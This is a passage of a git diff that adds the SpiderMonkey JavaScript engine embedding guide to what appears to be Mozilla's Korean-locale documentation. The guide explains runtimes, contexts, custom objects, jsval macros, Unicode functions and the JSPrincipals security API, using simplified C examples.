+<p>As Figure 1.3 also illustrates, scripts and contexts exist completely independent from one another even though they can access the same objects. Within a given run time, an application can always use any unassigned context to access any object. There may be times when you want to ensure that certain contexts and objects are reserved for exclusive use. In these cases, create separate run times for your application: one for shared contexts and objects, and one (or more, depending on your application's needs) for private contexts and objects.</p>
+<p><b>NOTE</b>: Only one thread at a time should be given access to a specific context.</p>
+<h3 id="Building_the_Engine" name="Building_the_Engine">Building the Engine</h3>
+<p>Before you can use JS in your applications, you must build the JS engine as a shareable library. In most cases, the engine code ships with make files to automate the build process.</p>
+<p>For example, under Unix, the js source directory contains a base gnu make file called <code>Makefile.ref</code>, and a <code>config</code> directory. The <code>config</code> directory contains platform-specific <code>.mk</code> files to use with <code>Makefile.ref</code> for your environment. Under Windows NT the nmake file is <code>js.mak</code>.</p>
+<p>Always check the source directory for any <code>readme</code> files that may contain late-breaking or updated compilation instructions or information.</p>
+<h3 id="What_Are_the_Requirements_for_Engine_Embedding.3F" name="What_Are_the_Requirements_for_Engine_Embedding.3F">What Are the Requirements for Engine Embedding?</h3>
+<p>To make your application JS-aware, embed the appropriate engine calls in your application code. There are at least five steps to embedding:</p>
+<ol>
+ <li>Add <code>#include "jsapi.h"</code> to your C modules to ensure that the compiler knows about possible engine calls. Specialized JS engine work may rarely require you to include additional header files from the JS source code. For example, to include JS debugger calls in your application, code you will need to include <code>jsdbgapi.h</code> in the appropriate modules. Most other header files in the JS source code should
+  <i>
+   not</i>
+  be included. To do so might introduce dependencies based on internal engine implementations that might change from release to release.</li>
+ <li>Provide support structures and variable declarations in your application. For example, if you plan on passing a script to the JS engine, provide a string variable to hold the text version of the script in your application.Declare structures and variables using the JS data types defined in <code>jsapi.h</code>.</li>
+ <li>Script application-specific objects using JavaScript. Often these objects will correspond to structures and methods that operate on those structures in your C programs, particularly if you are using the JS engine to automate your application.</li>
+ <li>Embed the appropriate JS engine API calls and variable references in your application code, including calls to initialize the built-in JS objects, and to create and populate any custom objects your application uses.</li>
+ <li>Most JS engine calls return a value. If this value is zero or <code>NULL</code>, it usually indicates an error condition. If the value is nonzero, it usually indicates success; in these cases, the return value is often a pointer that your application needs to use or store for future reference. At the very least, your applications should always check the return values from JS engine calls.</li>
+</ol>
+<p>The following code fragment illustrates most of these embedding steps, except for the creation of JS scripts, which lies outside the scope of the introductory text. For more information about creating scripts and objects using the JavaScript language itself, see the
+ <i>
+  Client-Side JavaScript Guide</i>
+ . For further information about scripting server-side objects, see the
+ <i>
+  Server-Side JavaScript Guide</i>
+ .</p>
+<pre>.
+.
+.
+#include &lt;stdio.h&gt;
+#include &lt;stdlib.h&gt;
+#include &lt;string.h&gt;
+
+/* include the JS engine API header */
+#include "jsapi.h"
+.
+.
+.
+
+/* main function sets up global JS variables, including run time,
+ * a context, and a global object, then initializes the JS run time,
+ * and creates a context. */
+
+int main(int argc, char **argv)
+{
+  int c, i;
+  /*set up global JS variables, including global and custom objects */
+
+  JSVersion version;
+  JSRuntime *rt;
+  JSContext *cx;
+  JSObject  *glob, *it;
+  JSBool builtins;
+
+  /* initialize the JS run time, and return result in rt */
+  rt = JS_NewRuntime(8L * 1024L * 1024L);
+
+  /* if rt does not have a value, end the program here */
+  if (!rt)
+    return 1;
+
+  /* create a context and associate it with the JS run time */
+  cx = JS_NewContext(rt, 8192);
+
+  /* if cx does not have a value, end the program here */
+  if (cx == NULL)
+    return 1;
+
+  /* create the global object here */
+  glob = JS_NewObject(cx, clasp, NULL, NULL);
+
+  /* initialize the built-in JS objects and the global object */
+  builtins = JS_InitStandardClasses(cx, glob);
+
+  .
+  .
+  .
+
+  return 0;
+
+}
+</pre>
+<p>This example code is simplified to illustrate the key elements necessary to embed JS engine calls in your applications. For a more complete example -- from which these snippets were adapted -- see <code>js.c</code>, the sample application source code that is included with the JS engine source code.</p>
+<h3 id="Understanding_Key_Embedding_Concepts" name="Understanding_Key_Embedding_Concepts">Understanding Key Embedding Concepts</h3>
+<p>For most of the JavaScript aware applications you create, you will want to follow some standard JS API embedding practices. The following sections describe the types of API calls you need to embed in all your applications.</p>
+<p>In many cases, the order in which you embed certain API calls is important to successful embedding. For example, you must initialize a JS run time before you can make other JS calls. Similarly, you should free the JS run time before you close your application. Therefore, your application's <b>main</b> function typically sandwiches API calls for initializing and freeing the JS run time around whatever other functionality you provide:</p>
+<pre>int main(int argc, char **argv)
+{
+  int c, i;
+
+  /*set up global JS variables, including global and custom objects */
+  JSVersion version;
+  JSRuntime *rt;
+  JSContext *cx;
+  JSObject  *glob, *it;
+
+  .
+  .
+  .
+
+  /* initialize the JS run time, and return result in rt */
+  rt = JS_NewRuntime(8L * 1024L * 1024L);
+
+  /* if rt does not have a value, end the program here */
+  if (!rt)
+    return 1;
+
+  .
+  .
+  .
+
+  /* establish a context */
+  cx = JS_NewContext(rt, 8192);
+
+  /* if cx does not have a value, end the program here */
+  if (cx == NULL)
+    return 1;
+
+  /* initialize the built-in JS objects and the global object */
+  builtins = JS_InitStandardClasses(cx, glob);
+
+  .
+  .
+  .
+
+  /* include your application code here, including JS API calls
+   * that may include creating your own custom JS objects. The JS
+   * object model starts here. */
+
+  .
+  .
+  .
+
+  /* Before exiting the application, free the JS run time */
+  JS_DestroyRuntime(rt);
+</pre>
+<p>As this example illustrates, applications that embed calls to the JS engine are responsible for setting up the JS run time as one of its first acts, and they are responsible for freeing the run time before they exit. In general, the best place to ensure that the run time is initialized and freed is by embedding the necessary calls in whatever module you use as the central JS dispatcher in your application.</p>
+<p>After you initialize the run time, you can establish your application's JS object model. The object model determines how your JS objects relate to one another. JS objects are hierarchical in nature. All JS objects are related to the global object by default. They are descendants of the global object. You automatically get a global object when you initialize the standard JS classes:</p>
+<pre class="eval">builtins = JS_InitStandardClasses(cx, glob);
+</pre>
+<p>The global object sets up some basic properties and methods that are inherited by all other objects. When you create your own custom objects, they automatically use the properties and methods defined on the global object. You can override these default properties and methods by defining them again on your custom object, or you can accept the default assignments.</p>
+<p>You can also create custom objects that are based on other built-in JS objects, or that are based on other custom objects. In each case, the object you create inherits all of the properties and methods of its predecessors in the hierarchical chain, all the way up to the global object. For more information about global and custom objects, see <a href="#Initializing_Built-in_and_Global_JS_Objects">Initializing Built-in and Global JS Objects</a> and <a href="#Creating_and_Initializing_Custom_Objects">Creating and Initializing Custom Objects</a>.</p>
+<h3 id="Managing_a_Run_Time" name="Managing_a_Run_Time">Managing a Run Time</h3>
+<p>The JS run time is the memory space the JS engine uses to manage the contexts, objects, and variables associated with JS functions and scripts. Before you can execute any JS functions or scripts you must first initialize a run time. The API call that initializes the run time is <code><a href="ko/JS_NewRuntime">JS_NewRuntime</a></code>. <code><a href="ko/JS_NewRuntime">JS_NewRuntime</a></code> takes a single argument, an unsigned integer that specifies the maximum number of bytes of memory to allocate to the run time before garbage collection occurs. For example:</p>
+<pre class="eval"> rt = JS_NewRuntime(8L * 1024L * 1024L);
+</pre>
+<p>As this example illustrates, <code><a href="ko/JS_NewRuntime">JS_NewRuntime</a></code> also returns a single value, a pointer to the run time it creates. A non-NULL return value indicates successful creation of the run time.</p>
+<p>Normally, you only need one run time for an application. It is possible, however, to create multiple run times by calling <code><a href="ko/JS_NewRuntime">JS_NewRuntime</a></code> as necessary and storing the return value in a different pointer.</p>
+<p>When the JS run time is no longer needed, it should be destroyed to free its memory resources for other application uses. Depending on the scope of JS use in your application, you may choose to destroy the run time immediately after its use, or, more likely, you may choose to keep the run time available until your application is ready to terminate. In either case, use the <code><a href="ko/JS_DestroyRuntime">JS_DestroyRuntime</a></code> to free the run time when it is no longer needed. This function takes a single argument, the pointer to the run time to destroy:</p>
+<pre class="eval"> JS_DestroyRuntime(rt);
+</pre>
+<p>If you use multiple run times, be sure to free each of them before ending your application.</p>
+<h3 id="Managing_Contexts" name="Managing_Contexts">Managing Contexts</h3>
+<p>Almost all JS API calls require you to pass a context as an argument. A context identifies a script in the JavaScript engine. The engine passes context information to the thread that runs the script. Each simultaneously-executing script must be assigned a unique context. When a script completes execution, its context is no longer in use, so the context can be reassigned to a new script, or it can be freed.</p>
+<p>To create a new context for a script, use <code><a href="ko/JS_NewContext">JS_NewContext</a></code>. This function takes two arguments: a pointer to the run time with which to associate this context, and the number of bytes of stack space to allocate for the context. If successful, the function returns a pointer to the newly established context. For example:</p>
+<pre class="eval"> JSContext *cx;
+ .
+ .
+ .
+ cx = JS_NewContext(rt, 8192);
+</pre>
+<p>The run time must already exist. The stack size you specify for the context should be large enough to accommodate any variables or objects created by the script that uses the context. Note that because there is a certain amount of overhead associated with allocating and maintaining contexts you will want to:</p>
+<ol>
+ <li>Create only as many contexts as you need at one time in your application.</li>
+ <li>Keep contexts for as long as they may be needed in your application rather than destroying and recreating them as needed.</li>
+</ol>
+<p>When a context is no longer needed, it should be destroyed to free its memory resources for other application uses. Depending on the scope of JS use in your application, you may choose to destroy the context immediately after its use, or, more likely, you may choose to keep the context available for reuse until your application is ready to terminate. In either case, use the <code><a href="ko/JS_DestroyContext">JS_DestroyContext</a></code> to free the context when it is no longer needed. This function takes a single argument, the pointer to the context to destroy:</p>
+<pre class="eval"> JS_DestroyContext(cx);
+</pre>
+<p>If your application creates multiple run times, the application may need to know which run time a context is associated with. In this case, call <code><a href="ko/JS_GetRuntime">JS_GetRuntime</a></code>, and pass the context as an argument. <code><a href="ko/JS_GetRuntime">JS_GetRuntime</a></code> returns a pointer to the appropriate run time if there is one:</p>
+<pre class="eval"> rt = JS_GetRuntime(cx);
+</pre>
+<p>When you create a context, you assign it stack space for the variables and objects that get created by scripts that use the context. You can also store large amounts of data for use with a given context, yet minimize the amount of stack space you need. Call <code><a href="ko/JS_SetContextPrivate">JS_SetContextPrivate</a></code> to establish a pointer to private data for use with the context, and call <code><a href="ko/JS_GetContextPrivate">JS_GetContextPrivate</a></code> to retrieve the pointer so that you can access the data. Your application is responsible for creating and managing this optional private data.</p>
+<p>To create private data and associate it with a context:</p>
+<ol>
+ <li>Establish the private data as you would a normal C void pointer variable.</li>
+ <li>Call <code><a href="ko/JS_SetContextPrivate">JS_SetContextPrivate</a></code>, and specify the context for which to establish private data, and specify the pointer to the data.</li>
+</ol>
+<p>For example:</p>
+<pre class="eval"> JS_SetContextPrivate(cx, pdata);
+</pre>
+<p>To retrieve the data at a later time, call <code><a href="ko/JS_GetContextPrivate">JS_GetContextPrivate</a></code>, and pass the context as an argument. This function returns the pointer to the private data:</p>
+<pre class="eval"> pdata = JS_GetContextPrivate(cx);
+</pre>
+<h3 id="Initializing_Built-in_and_Global_JS_Objects" name="Initializing_Built-in_and_Global_JS_Objects">Initializing Built-in and Global JS Objects</h3>
+<p>The JavaScript engine provides several built-in objects that simplify some of your development tasks. For example, the built-in <code>Array</code> object makes it easy for you to create and manipulate array structures in the JS engine. Similarly, the Date object provides a uniform mechanism for working with and handling dates. For a complete list of built-in objects supported in the engine, see the reference entry for <code><a href="ko/JS_InitStandardClasses">JS_InitStandardClasses</a></code>.</p>
+<p>The JS engine always uses function and global objects. In general, the global object resides behind the scenes, providing a default scope for all other JS objects and global variables you create and use in your applications. Before you can create your own objects, you will want to initialize the global object. The function object enables objects to have and call constructors.</p>
+<p>A single API call, <code><a href="ko/JS_InitStandardClasses">JS_InitStandardClasses</a></code>, initializes the global and function objects and the built-in engine objects so that your application can use them:</p>
+<pre class="eval"> JSBool builtins;
+ .
+ .
+ .
+ builtins = JS_InitStandardClasses(cx, glob);
+</pre>
+<p><code><a href="ko/JS_InitStandardClasses">JS_InitStandardClasses</a></code> returns a JS boolean value that indicates the success or failure of the initialization.</p>
+<p>You can specify a different global object for your application. For example, the Netscape Navigator uses its own global object, window. To change the global object for you application, call <code><a href="ko/JS_SetGlobalObject">JS_SetGlobalObject</a></code>. For more information, see the reference entry for <code><a href="ko/JS_SetGlobalObject">JS_SetGlobalObject</a></code>.</p>
+<h3 id="Creating_and_Initializing_Custom_Objects" name="Creating_and_Initializing_Custom_Objects">Creating and Initializing Custom Objects</h3>
+<p>In addition to using the engine's built-in objects, you will create, initialize, and use your own JS objects. This is especially true if you are using the JS engine with scripts to automate your application. Custom JS objects can provide direct program services, or they can serve as interfaces to your program's services. For example, a custom JS object that provides direct service might be one that handles all of an application's network access, or might serve as an intermediary broker of database services. Or a JS object that mirrors data and functions that already exist in the application may provide an object-oriented interface to C code that is not otherwise, strictly-speaking, object-oriented itself. Such a custom object acts as an interface to the application itself, passing values from the application to the user, and receiving and processing user input before returning it to the application. Such an object might also be used to provide access control to the underlying functions of the application.</p>
+<p>There are two ways to create custom objects that the JS engine can use:</p>
+<ul>
+ <li>Write a JS script that creates an object, its properties, methods, and constructor, and then pass the script to the JS engine at run time.</li>
+ <li>Embed code in your application that defines the object's properties and methods, call the engine to initialize a new object, and then set the object's properties through additional engine calls. An advantage of this method is that your application can contain native methods that directly manipulate the object embedding.</li>
+</ul>
+<p>In either case, if you create an object and then want it to persist in the run time where it can be used by other scripts, you must root the object by calling <code><a href="ko/JS_AddRoot">JS_AddRoot</a></code> or <code><a href="ko/JS_AddNamedRoot">JS_AddNamedRoot</a></code>. Using these functions ensures that the JS engine will keep track of the objects and clean them up during garbage collection, if appropriate.</p>
+<h3 id="Creating_an_Object_From_a_Script" name="Creating_an_Object_From_a_Script">Creating an Object From a Script</h3>
+<p>One reason to create a custom JS object from a script is when you only need an object to exist as long as the script that uses it is executing. To create objects that persist across script calls, you can embed the object code in your application instead of using a script.</p>
+<p><b>NOTE</b>: You can also use scripts to create persistent objects, too.</p>
+<p>To create a custom object using a script:</p>
+<ol>
+ <li>Define and spec the object. What is it intended to do? What are its data members (properties)? What are its methods (functions)? Does it require a run time constructor function?</li>
+ <li>Code the JS script that defines and creates the object. For example: function myfun(){ var x = newObject(); . . . } <b>NOTE</b>: Object scripting using JavaScript occurs outside the context of embedding the JS engine in your applications. For more information about object scripting, see the
+  <i>
+   Client-Side JavaScript Guide</i>
+  and the
+  <i>
+   Server-Side JavaScript Guide</i>
+  . Embed the appropriate JS engine call(s) in your application to compile and execute the script. You have two choices: 1.) compile and execute a script with a single call to <code><a href="ko/JS_EvaluateScript">JS_EvaluateScript</a></code>, <code><a href="ko/JS_EvaluateUCScript">JS_EvaluateUCScript</a></code> or 2.) compile the script once with a call to <code><a href="ko/JS_CompileScript">JS_CompileScript</a></code> or <code><a href="ko/JS_CompileUCScript">JS_CompileUCScript</a></code>, and then execute it repeatedly with individual calls to <code><a href="ko/JS_ExecuteScript">JS_ExecuteScript</a></code>. The "UC" versions of these calls provide support for Unicode-encoded scripts.</li>
+</ol>
+<p>An object you create using a script only can be made available only during the lifetime of the script, or can be created to persist after the script completes execution. Ordinarily, once script execution is complete, its objects are destroyed. In many cases, this behavior is just what your application needs. In other cases, however, you will want object persistence across scripts, or for the lifetime of your application. In these cases you need to embed object creation code directly in your application, or you need to tie the object directly to the global object so that it persists as long as the global object itself persists.</p>
+<h3 id="Embedding_a_Custom_Object_in_an_Application" name="Embedding_a_Custom_Object_in_an_Application">Embedding a Custom Object in an Application</h3>
+<p>Embedding a custom JS object in an application is useful when object persistence is required or when you know that you want an object to be available to several scripts. For example, a custom object that represents a user's ID and access rights may be needed during the entire lifetime of the application. It saves overhead and time to create and populate this object once, instead of recreating it over and over again with a script each time the user's ID or permissions need to be checked.</p>
+<p>One way to embed a custom object in an application is to:</p>
+<ol>
+ <li>Create a <code><a href="ko/JSPropertySpec">JSPropertySpec</a></code> data type, and populate it with the property information for your object, including the name of the property's get and set methods.</li>
+ <li>Create a <code><a href="ko/JSFunctionSpec">JSFunctionSpec</a></code> data type, and populate it with information about the methods used by your object.</li>
+ <li>Create the actual C functions that are executed in response to your object's method calls.</li>
+ <li>Call to <code><a href="ko/JS_NewObject">JS_NewObject</a></code> or <code><a href="ko/JS_ConstructObject">JS_ConstructObject</a></code> to instantiate the object.</li>
+ <li>Call <code><a href="ko/JS_DefineFunctions">JS_DefineFunctions</a></code> to create the object's methods.</li>
+ <li>Call <code><a href="ko/JS_DefineProperties">JS_DefineProperties</a></code> to create the object's properties.</li>
+</ol>
+<p>The code that describes persistent, custom JS objects should be placed near the start of application execution, before any code that relies upon the prior existence of the object. Embedded engine calls that instantiate and populate the custom object should also appear before any code that relies on the prior existence of the object.</p>
+<p><b>NOTE</b>: An alternate, and in many cases, easier way to create a custom object in application code is to call <code><a href="ko/JS_DefineObject">JS_DefineObject</a></code> to create the object, and then make repeated calls to <code><a href="ko/JS_SetProperty">JS_SetProperty</a></code> to set the object's properties. For more information about defining an object, see <code><a href="ko/JS_DefineObject">JS_DefineObject</a></code> . For more information about setting an object's properties, see <code><a href="ko/JS_SetProperty">JS_SetProperty</a></code>.</p>
+<h3 id="Providing_Private_Data_for_Objects" name="Providing_Private_Data_for_Objects">Providing Private Data for Objects</h3>
+<p>Like contexts, you can associate large quantities of data with an object without having to store the data in the object itself. Call <code><a href="ko/JS_SetPrivate">JS_SetPrivate</a></code> to establish a pointer to private data for the object, and call <code><a href="ko/JS_GetPrivate">JS_GetPrivate</a></code> to retrieve the pointer so that you can access the data. Your application is responsible for creating and managing this optional private data.</p>
+<p>To create private data and associate it with an object:</p>
+<ol>
+ <li>Establish the private data as you would a normal C void pointer variable.</li>
+ <li>Call <code><a href="ko/JS_SetPrivate">JS_SetPrivate</a></code>, specify the object for which to establish private data, and specify the pointer to the data.</li>
+</ol>
+<p>For example:</p>
+<pre class="eval"> JS_SetPrivate(cx, obj, pdata);
+</pre>
+<p>To retrieve the data at a later time, call <code><a href="ko/JS_GetPrivate">JS_GetPrivate</a></code>, and pass the object as an argument. This function returns the pointer to an object's private data:</p>
+<pre class="eval"> pdata = JS_GetPrivate(cx, obj);
+</pre>
+<h3 id="Handling_Unicode" name="Handling_Unicode">Handling Unicode</h3>
+<p>The JS engine now provides Unicode-enabled versions of many API functions that handle scripts, including JS functions. These functions permit you to pass Unicode-encoded scripts directly to the engine for compilation and execution. The following table lists standard engine functions and their Unicode equivalents:</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Standard Function</th>
+   <th>Unicode-enabled Function</th>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_DefineProperty">JS_DefineProperty</a></td>
+   <td><a href="ko/JS_DefineUCProperty">JS_DefineUCProperty</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_DefinePropertyWithTinyId">JS_DefinePropertyWithTinyId</a></td>
+   <td><a href="ko/JS_DefineUCPropertyWithTinyId">JS_DefineUCPropertyWithTinyId</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_LookupProperty">JS_LookupProperty</a></td>
+   <td><a href="ko/JS_LookupUCProperty">JS_LookupUCProperty</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_GetProperty">JS_GetProperty</a></td>
+   <td><a href="ko/JS_GetUCProperty">JS_GetUCProperty</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_SetProperty">JS_SetProperty</a></td>
+   <td><a href="ko/JS_SetUCProperty">JS_SetUCProperty</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_DeleteProperty2">JS_DeleteProperty2</a></td>
+   <td><a href="ko/JS_DeleteUCProperty2">JS_DeleteUCProperty2</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_CompileScript">JS_CompileScript</a></td>
+   <td><a href="ko/JS_CompileUCScript">JS_CompileUCScript</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_CompileScriptForPrincipals">JS_CompileScriptForPrincipals</a></td>
+   <td><a href="ko/JS_CompileUCScriptForPrincipals">JS_CompileUCScriptForPrincipals</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_CompileFunction">JS_CompileFunction</a></td>
+   <td><a href="ko/JS_CompileUCFunction">JS_CompileUCFunction</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_CompileFunctionForPrincipals">JS_CompileFunctionForPrincipals</a></td>
+   <td><a href="ko/JS_CompileUCFunctionForPrincipals">JS_CompileUCFunctionForPrincipals</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_EvaluateScript">JS_EvaluateScript</a></td>
+   <td><a href="ko/JS_EvaluateUCScript">JS_EvaluateUCScript</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_EvaluateScriptForPrincipals">JS_EvaluateScriptForPrincipals</a></td>
+   <td><a href="ko/JS_EvaluateUCScriptForPrincipals">JS_EvaluateUCScriptForPrincipals</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_NewString">JS_NewString</a></td>
+   <td><a href="ko/JS_NewUCString">JS_NewUCString</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_NewStringCopyN">JS_NewStringCopyN</a></td>
+   <td><a href="ko/JS_NewUCStringCopyN">JS_NewUCStringCopyN</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_NewStringCopyZ">JS_NewStringCopyZ</a></td>
+   <td><a href="ko/JS_NewUCStringCopyZ">JS_NewUCStringCopyZ</a></td>
+  </tr>
+  <tr>
+   <td><a href="ko/JS_InternString">JS_InternString</a></td>
+   <td><a href="ko/JS_InternUCString">JS_InternUCString</a></td>
+  </tr>
+  <tr>
+   <td>--</td>
+   <td><a href="ko/JS_InternUCStringN">JS_InternUCStringN</a></td>
+  </tr>
+ </tbody>
+</table>
+<p>Unicode-enabled functions work exactly like their traditional namesakes, except that where traditional functions take a <code>char *</code> argument, the Unicode versions take a <code>jschar *</code> argument.</p>
+<h3 id="Working_with_JS_Data_Types" name="Working_with_JS_Data_Types">Working with JS Data Types</h3>
+<p>JavaScript defines its own data types. Some of these data types correspond directly to their C counterparts. Others, such as <code><a href="ko/JSObject">JSObject</a></code>, <code><a href="ko/Jsdouble">jsdouble</a></code>, and <code><a href="ko/JSString">JSString</a></code>, are specific to JavaScript.</p>
+<p>Generally, you declare and use JS data types in your application just as you do standard C data types. The JS engine, however, keeps separate track of JS data type variables that require more than a word of storage: <code><a href="ko/JSObject">JSObject</a></code>, <code><a href="ko/Jsdouble">jsdouble</a></code>, and <code><a href="ko/JSString">JSString</a></code>. Periodically, the engine examines these variables to see if they are still in use, and if they are not, it garbage collects them, freeing the storage space for reuse.</p>
+<p>Garbage collection makes effective reuse of the heap, but overly frequent garbage collection may be a performance issue. You can control the approximate frequency of garbage collection based on the size of the JS run time you allocate for your application in relation to the number of JS variables and objects your application uses. If your application creates and uses many JS objects and variables, you may want to allocate a sufficiently large run time to reduce the likelihood of frequent garbage collection.</p>
+<p><b>NOTE</b>: Your application can also call <code><a href="ko/JS_GC">JS_GC</a></code> or <code><a href="ko/JS_MaybeGC">JS_MaybeGC</a></code> to force garbage collection at any time. <code><a href="ko/JS_GC">JS_GC</a></code> forces garbage collection. <code><a href="ko/JS_MaybeGC">JS_MaybeGC</a></code> performs conditional garbage collection only if a certain percentage of space initially allocated to the run time is in use at the time you invoke the function.</p>
+<h3 id="Working_with_JS_Values" name="Working_with_JS_Values">Working with JS Values</h3>
+<p>In addition to JS data types, the JS engine also uses JS values, called <code><a href="ko/Jsval">jsval</a></code>s. A <code><a href="ko/Jsval">jsval</a></code> is essentially a pointer to any JS data type except integers. For integers, a <code><a href="ko/Jsval">jsval</a></code> contains the integer value itself. In other cases, the pointer is encoded to contain additional information about the type of data to which it points. Using <code><a href="ko/Jsval">jsval</a></code>s improves engine efficiency, and permits many API functions to handle a variety of underlying data types.</p>
+<p>The engine API contains a group of macros that test the JS data type of a <code><a href="ko/Jsval">jsval</a></code>. These are:</p>
+<ul>
+ <li><code><a href="ko/JSVAL_IS_OBJECT">JSVAL_IS_OBJECT</a></code></li>
+ <li><code><a href="ko/JSVAL_IS_NUMBER">JSVAL_IS_NUMBER</a></code></li>
+ <li><code><a href="ko/JSVAL_IS_INT">JSVAL_IS_INT</a></code></li>
+ <li><code><a href="ko/JSVAL_IS_DOUBLE">JSVAL_IS_DOUBLE</a></code></li>
+ <li><code><a href="ko/JSVAL_IS_STRING">JSVAL_IS_STRING</a></code></li>
+ <li><code><a href="ko/JSVAL_IS_BOOLEAN">JSVAL_IS_BOOLEAN</a></code></li>
+</ul>
+<p>Besides testing a <code><a href="ko/Jsval">jsval</a></code> for its underlying data type, you can test it to determine if it is a primitive JS data type (<code><a href="ko/JSVAL_IS_PRIMITIVE">JSVAL_IS_PRIMITIVE</a></code>). Primitives are values that are undefined, null, boolean, numeric, or string types.</p>
+<p>You can also test the value pointed to by a <code><a href="ko/Jsval">jsval</a></code> to see if it is <code>NULL</code> (<code><a href="ko/JSVAL_IS_NULL">JSVAL_IS_NULL</a></code>) or void (<code><a href="ko/JSVAL_IS_VOID">JSVAL_IS_VOID</a></code>).</p>
+<p>If a jsval points to a JS data type of <code><a href="ko/JSObject">JSObject</a></code>, <code><a href="ko/Jsdouble">jsdouble</a></code>, or <code><a href="ko/Jsstr">jsstr</a></code>, you can cast the <code><a href="ko/Jsval">jsval</a></code> to its underlying data type using <code><a href="ko/JSVAL_TO_OBJECT">JSVAL_TO_OBJECT</a></code>, <code><a href="ko/JSVAL_TO_DOUBLE">JSVAL_TO_DOUBLE</a></code>, and <code><a href="ko/JSVAL_TO_STRING">JSVAL_TO_STRING</a></code>, respectively. This is useful in some cases where your application or a JS engine call requires a variable or argument of a specific data type, rather than a <code><a href="ko/Jsval">jsval</a></code>. Similarly, you can convert a <code><a href="ko/JSObject">JSObject</a></code>, <code><a href="ko/Jsdouble">jsdouble</a></code>, and <code><a href="ko/Jsstr">jsstr</a></code> to a <code><a href="ko/Jsval">jsval</a></code> using <code><a href="ko/OBJECT_TO_JSVAL">OBJECT_TO_JSVAL</a></code>, <code><a href="ko/DOUBLE_TO_JSVAL">DOUBLE_TO_JSVAL</a></code>, and <code><a href="ko/STRING_TO_JSVAL">STRING_TO_JSVAL</a></code>, respectively.</p>
+<h3 id="Unicode_String_Support" name="Unicode_String_Support">Unicode String Support</h3>
+<p>As with other API calls, the names of Unicode-enabled API string functions correspond one-for-one with the standard engine API string function names as follows: if a standard function name is <code><a href="ko/JS_NewStringCopyN">JS_NewStringCopyN</a></code>, the corresponding Unicode version of the function is <code><a href="ko/JS_NewUCStringCopyN">JS_NewUCStringCopyN</a></code>. Unicode-enabled API string functions are also available for interned string.</p>
+<h3 id="Interned_String_Support" name="Interned_String_Support">Interned String Support</h3>
+<p>To save storage space, the JS engine provides support for sharing a single instance of a string among separate invocations. Such shared strings are called "interned strings". Use interned strings when you know that a particular, string of text will be created and used more than once in an application.</p>
+<p>The engine API offers several calls for working with interned strings:</p>
+<ul>
+ <li><code><a href="ko/JS_InternString">JS_InternString</a></code>, for creating or reusing a <code><a href="ko/JSString">JSString</a></code>.</li>
+ <li><code><a href="ko/JS_InternUCString">JS_InternUCString</a></code>, for creating or reusing a Unicode <code><a href="ko/JSString">JSString</a></code>.</li>
+ <li><code><a href="ko/JS_InternUCStringN">JS_InternUCStringN</a></code>, for creating or reusing Unicode <code><a href="ko/JSString">JSString</a></code> of fixed length.</li>
+</ul>
+<h3 id="Managing_Security" name="Managing_Security">Managing Security</h3>
+<p>With JavaScript 1.3, the JS engine added security-enhanced API functions for compiling and evaluating scripts and functions passed to the engine. The JS security model is based on the Java principals security model. This model provides a common security interface, but the actual security implementation is up to you.</p>
+<p>One common way that security is used in a JavaScript-enabled application is to compare script origins and perhaps limit script interactions. For example, you might compare the codebase of two or more scripts in an application and only allow scripts from the same codebase to modify properties of scripts that share codebases.</p>
+<p>To implement secure JS, follow these steps:</p>
+<ol>
+ <li>Declare one or more structs of type <code><a href="ko/JSPrincipals">JSPrincipals</a></code> in your application code.</li>
+ <li>Implement the functions that will provide security information to the array. These include functions that provide an array of principals for your application, and mechanisms for incrementing and decrementing a reference count on the number of JS objects using a given set of principles.</li>
+ <li>Populate the <code><a href="ko/JSPrincipals">JSPrincipals</a></code> struct with your security information. This information can include common codebase information.</li>
+ <li>At run time, compile and evaluate all scripts and functions for which you intend to apply security using the JS API calls that require you to pass in a <code><a href="ko/JSPrincipals">JSPrincipals</a></code> struct. The following table lists these API functions and their purposes:</li>
+</ol>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Function</th>
+   <th>Purpose</th>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_CompileScriptForPrincipals">JS_CompileScriptForPrincipals</a></code></td>
+   <td>Compiles, but does not execute, a security-enabled script.</td>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_CompileUCScriptForPrincipals">JS_CompileUCScriptForPrincipals</a></code></td>
+   <td>Compiles, but does not execute, a security-enabled, Unicode-encoded script.</td>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_CompileFunctionForPrincipals">JS_CompileFunctionForPrincipals</a></code></td>
+   <td>Creates a security-enabled JS function from a text string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_CompileUCFunctionForPrincipals">JS_CompileUCFunctionForPrincipals</a></code></td>
+   <td>Creates a JS function with security information from a Unicode-encoded character string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_EvaluateScriptForPrincipals">JS_EvaluateScriptForPrincipals</a></code></td>
+   <td>Compiles and executes a security-enabled script.</td>
+  </tr>
+  <tr>
+   <td><code><a href="ko/JS_EvaluateUCScriptForPrincipals">JS_EvaluateUCScriptForPrincipals</a></code></td>
+   <td>Compiles and executes a security-enabled, Unicode-encoded character script.</td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/javascript_code_modules/using_javascript_code_modules/index.html b/files/ko/javascript_code_modules/using_javascript_code_modules/index.html
new file mode 100644
index 0000000000..a223db02bf
--- /dev/null
+++ b/files/ko/javascript_code_modules/using_javascript_code_modules/index.html
@@ -0,0 +1,144 @@
+---
+title: JavaScript 코드 모듈 사용하기
